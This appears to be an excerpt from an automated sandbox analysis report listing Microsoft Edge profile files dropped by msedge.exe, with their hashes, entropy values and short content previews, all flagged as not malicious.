Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.209979092819591
Encrypted:	false
SSDEEP:	12:gBWvVaYebvqBZFUt87BUz1/+7Bg+5OaYebvqBaJ:vVaYebvyg8CzXoOaYebvL
MD5:	841C2A0BAF8D1AF0BF337A52119D0D9E
SHA1:	535CC2C82036E1518FB39FAA743CC2A0DF4E8F97
SHA-256:	D0724DA01ECE763392ACC7AF70837E348C00668A939B3D33CABC29A5DE975155
SHA-512:	14FBC96A707FAA772167C93B441ABA213BFB94460F8D5E47B9DF6A6A21F2C475946E58FB4A583FDC765D4AA7433B5C24765C1930D4585EA39AE211E16E74A42E
Malicious:	false
Preview:	2024/11/25-19:41:49.701 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-19:41:49.704 1e94 Recovering log #3.2024/11/25-19:41:49.707 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.209979092819591
Encrypted:	false
SSDEEP:	12:gBWvVaYebvqBZFUt87BUz1/+7Bg+5OaYebvqBaJ:vVaYebvyg8CzXoOaYebvL
MD5:	841C2A0BAF8D1AF0BF337A52119D0D9E
SHA1:	535CC2C82036E1518FB39FAA743CC2A0DF4E8F97
SHA-256:	D0724DA01ECE763392ACC7AF70837E348C00668A939B3D33CABC29A5DE975155
SHA-512:	14FBC96A707FAA772167C93B441ABA213BFB94460F8D5E47B9DF6A6A21F2C475946E58FB4A583FDC765D4AA7433B5C24765C1930D4585EA39AE211E16E74A42E
Malicious:	false
Preview:	2024/11/25-19:41:49.701 1e94 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/25-19:41:49.704 1e94 Recovering log #3.2024/11/25-19:41:49.707 1e94 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.242205073228176
Encrypted:	false
SSDEEP:	6:HApL/6TAw3+q2PN723oH+TcwtpIFUt8YApL/6N+Zmw+YApL/6N6VkwON723oH+Tr:gB/6TAhvVaYebmFUt87B/6M/+7B/6s5f
MD5:	0D614C32BC0C8756F3B09C8F63B684CB
SHA1:	67C38F7D68AA731061923023DB55B9AD85DD9193
SHA-256:	B0508159D7A79075BD262655AE71019272CE5F1935E844F810DED17B8F88D668
SHA-512:	9F83B84A4613F44109F9B353BAAF0A5DA1BB0D18ED2899AE35EA5CF169A3986CFD7474EB9F0B9DBE32E00A14CDA04C8474C2C2B940A2CD253A3BED5E2FCED261
Malicious:	false
Preview:	2024/11/25-19:41:29.694 1f68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-19:41:29.790 1f68 Recovering log #3.2024/11/25-19:41:29.790 1f68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.242205073228176
Encrypted:	false
SSDEEP:	6:HApL/6TAw3+q2PN723oH+TcwtpIFUt8YApL/6N+Zmw+YApL/6N6VkwON723oH+Tr:gB/6TAhvVaYebmFUt87B/6M/+7B/6s5f
MD5:	0D614C32BC0C8756F3B09C8F63B684CB
SHA1:	67C38F7D68AA731061923023DB55B9AD85DD9193
SHA-256:	B0508159D7A79075BD262655AE71019272CE5F1935E844F810DED17B8F88D668
SHA-512:	9F83B84A4613F44109F9B353BAAF0A5DA1BB0D18ED2899AE35EA5CF169A3986CFD7474EB9F0B9DBE32E00A14CDA04C8474C2C2B940A2CD253A3BED5E2FCED261
Malicious:	false
Preview:	2024/11/25-19:41:29.694 1f68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/25-19:41:29.790 1f68 Recovering log #3.2024/11/25-19:41:29.790 1f68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678097209706423
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMeSA1LyKOMq+8iP5GDHP/0jMVum8:Kq+n0Je91LyKOMq+8iP5GLP/0F
MD5:	583B976DC2C33AA03711BD6376459EDB
SHA1:	F3FEC1F40A917951DF48A0848C46F03A86B26B20
SHA-256:	295B9EDB71317895ACF534109716185A42BBA12D3891EFFC90B4B518E390D527
SHA-512:	1C23E9196FA001F9C409E42952F96EA5CE207D3BB661752ACE825EF6CC2F0E1B842B862658D3A4D1FD0D4481D7E3072D9E8BC2A7EA45BA1FC2B5D84040F40616
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4659740052412356
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBK3:v7doKsKuKZKlZNmu46yjxy
MD5:	DCE1D1B2AB7756BDBF5A66C4B25923EE
SHA1:	2E123C00D0AABA2394A33175616B7BC8A8899E33
SHA-256:	19BD4B3CFE295AB308708C2BFFB2C6FAB2D5A3AEEB0DDAA8A57B9AD092B90063
SHA-512:	9C87760D55B41A4C764F7BCCB049DE6B61089177230F6683088BA229A1AF8C919C6FAD8B3B03EFB73DE3A0B982E65BB96F535927D30168E8920F0CB5EDDAB9EF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a6c4843c-69ae-4f1c-aa90-a1fc4dcf0b15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561260861165986
Encrypted:	false
SSDEEP:	768:55DMjAWMy7pLGLPMqW5wKYf43d8F1+UoAYDCx9Tuqh0VfUC9xbog/OVP033wXI54:5RiAnKcPMqWaKYfYdu1jax33w4DS2FMP
MD5:	01436D37083DBF512982CC1664FC828D
SHA1:	479C8AE193F81A68168866F426570947C6E1555C
SHA-256:	BEE8BDDE123CFB21B04F129F504046969C42495D8ADB5A2CAF417EF8ED441302
SHA-512:	2E274B4C65F8AE3B9A1CB96DFA38D45222DE2727220CBF24D3879D7C1B06D85FC11F6E6DBA8C8F4B9CC55BCC954C7B46BB8172200767B3A58A564ECF0CAC3B06
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377055289534545","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377055289534545","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f8135fb2-1b39-4286-98dd-493e1a7c0b17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10263747183470559
Encrypted:	false
SSDEEP:	12:+xSCDD3xSCDkspEjVl/PnnnnnnnnnnnvoQ/Eou:+xTD3xTBoPnnnnnnnnnnnv1j
MD5:	0A3130D52376CE41CAD7AC21E41A7015
SHA1:	2D20D91162D151EB32034C3A6FCB6E83EC3E6983
SHA-256:	5CAB4EA8784B9A6760A4DEAC4364142B6349A41D4036A07DEE9C8CFB63BB2410
SHA-512:	AED98670CDE242411BE962CD2ECE293CCD3F3F98C884651821F3D4D4199735D94EB1BBD3BF3E828A50DEB6084AAA88A12CA0C298B42C336A847E6D771269D9DA
Malicious:	false
Preview:	..-.............M.......L.I.\..{$J...V...xQ...N...-.............M.......L.I.\..{$J...V...xQ...N.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8890384024983353
Encrypted:	false
SSDEEP:	384:7X5erXAGKX4C2XkT1/XSi1XPqYXhpvXn43XjMuX0DR1zXmkv8MAydyBNy4ymYyjT:hUT
MD5:	21339B656D6D53E42B033B2822F114D4
SHA1:	3D4ADAC099BA25B6BFE936F90D7BF446BDE89C06
SHA-256:	11B732A0FC012C813D3BE3C906ABA1CB737E8DA5746E3C3086FE181C180ACF4B
SHA-512:	819AA9F33F7E78E755CA3911FA14E69F9BB09616192B801E567F5F1E62E60B10647A471E7F857FFC8ECBAA4B944D53FB4549ED1425780A35E92FD0FDD74883EF
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.235584685100018
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuuu38R:pHayg
MD5:	B5EBF1DE4DFA22CDA3C7562874338ABF
SHA1:	71311936328AE076ABB3D7E4A838FEEE0965414D
SHA-256:	244A8662EF7A17DEB62C16A21E6016574DD8358C9347815F3DAE3A63CA7EEDF4
SHA-512:	2D9A9D451A9FD113595148D4ABFEB54A647ABFA3D56F4C3D65EEB3AA885B361FB0253FEDF6455F49734E04D27E2D42698C6CE625DC7A31856AEB42CCD98041E9
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................p..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.222459625229559
Encrypted:	false
SSDEEP:	6:HApLR9q2PN723oH+TcwtfrK+IFUt8YApLjUXZmw+YApLjUFkwON723oH+TcwtfrF:gBzvVaYeb23FUt87BjUX/+7BjUF5OaYq
MD5:	E4602C3AC26768CD86713F944E10D69F
SHA1:	517632F185703E0AA484E5033624ADF3FC238069
SHA-256:	055D04327E76E2B88328A98B26937A8D49A8D9B8171B23D12081A26F9088D5E0
SHA-512:	00FC2AFF5FC421FA7F96345016E2CE215300CD82CB9114C1F2D0BA25BF74E84906949960AFBFBF17E45506330571D8C4CF3BF755C6E742A9FBC0763AB9172386
Malicious:	false
Preview:	2024/11/25-19:41:30.589 1f10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-19:41:30.617 1f10 Recovering log #3.2024/11/25-19:41:30.617 1f10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.222459625229559
Encrypted:	false
SSDEEP:	6:HApLR9q2PN723oH+TcwtfrK+IFUt8YApLjUXZmw+YApLjUFkwON723oH+TcwtfrF:gBzvVaYeb23FUt87BjUX/+7BjUF5OaYq
MD5:	E4602C3AC26768CD86713F944E10D69F
SHA1:	517632F185703E0AA484E5033624ADF3FC238069
SHA-256:	055D04327E76E2B88328A98B26937A8D49A8D9B8171B23D12081A26F9088D5E0
SHA-512:	00FC2AFF5FC421FA7F96345016E2CE215300CD82CB9114C1F2D0BA25BF74E84906949960AFBFBF17E45506330571D8C4CF3BF755C6E742A9FBC0763AB9172386
Malicious:	false
Preview:	2024/11/25-19:41:30.589 1f10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-19:41:30.617 1f10 Recovering log #3.2024/11/25-19:41:30.617 1f10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.182812117344326
Encrypted:	false
SSDEEP:	6:HApLRxIq2PN723oH+TcwtfrzAdIFUt8YApL2AQZmw+YApL2AYkwON723oH+TcwtS:gBRSvVaYeb9FUt87BnQ/+7BnY5OaYebS
MD5:	CA5EB7A32425C0A239A16A142CD30950
SHA1:	F61A7AF0D3C23DA561D22B2EA9AC86DAE42F8C26
SHA-256:	334DBE805A4C928F60136F61DC2DC3CAB45F485B67579DE04D44E187C2A82F17
SHA-512:	B90A571AF842D90F76D2EE64FDC128C957F20338CD18A5E15924CCD0FE6E92F90BAB7A5E966F7578019566231DAB6FF173A9DB77E03B3F7787111B54E72352B0
Malicious:	false
Preview:	2024/11/25-19:41:30.527 1ee4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-19:41:30.528 1ee4 Recovering log #3.2024/11/25-19:41:30.528 1ee4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.182812117344326
Encrypted:	false
SSDEEP:	6:HApLRxIq2PN723oH+TcwtfrzAdIFUt8YApL2AQZmw+YApL2AYkwON723oH+TcwtS:gBRSvVaYeb9FUt87BnQ/+7BnY5OaYebS
MD5:	CA5EB7A32425C0A239A16A142CD30950
SHA1:	F61A7AF0D3C23DA561D22B2EA9AC86DAE42F8C26
SHA-256:	334DBE805A4C928F60136F61DC2DC3CAB45F485B67579DE04D44E187C2A82F17
SHA-512:	B90A571AF842D90F76D2EE64FDC128C957F20338CD18A5E15924CCD0FE6E92F90BAB7A5E966F7578019566231DAB6FF173A9DB77E03B3F7787111B54E72352B0
Malicious:	false
Preview:	2024/11/25-19:41:30.527 1ee4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-19:41:30.528 1ee4 Recovering log #3.2024/11/25-19:41:30.528 1ee4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWvdi1zNtPM1kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynJSkzItSmd6qE7lFoC
MD5:	8C609BEB31BBD249F16EFA0395E39A17
SHA1:	6AD986CF6414A4ACAC194F64D249CE1B75F7EAE0
SHA-256:	CFF016CA568DFB733934BFCFC30272852CD0ECC320B9E4E473C1325396C2DC49
SHA-512:	880023E0B7719EE1B04052CB81673165ECFF03C8871ECE80A7A29B1E00B615EE05F45D662D197FC5456D05BB55AAE85116CD8069AE662C70B36D5ACA59148105
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a3d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089802666927576
Encrypted:	false
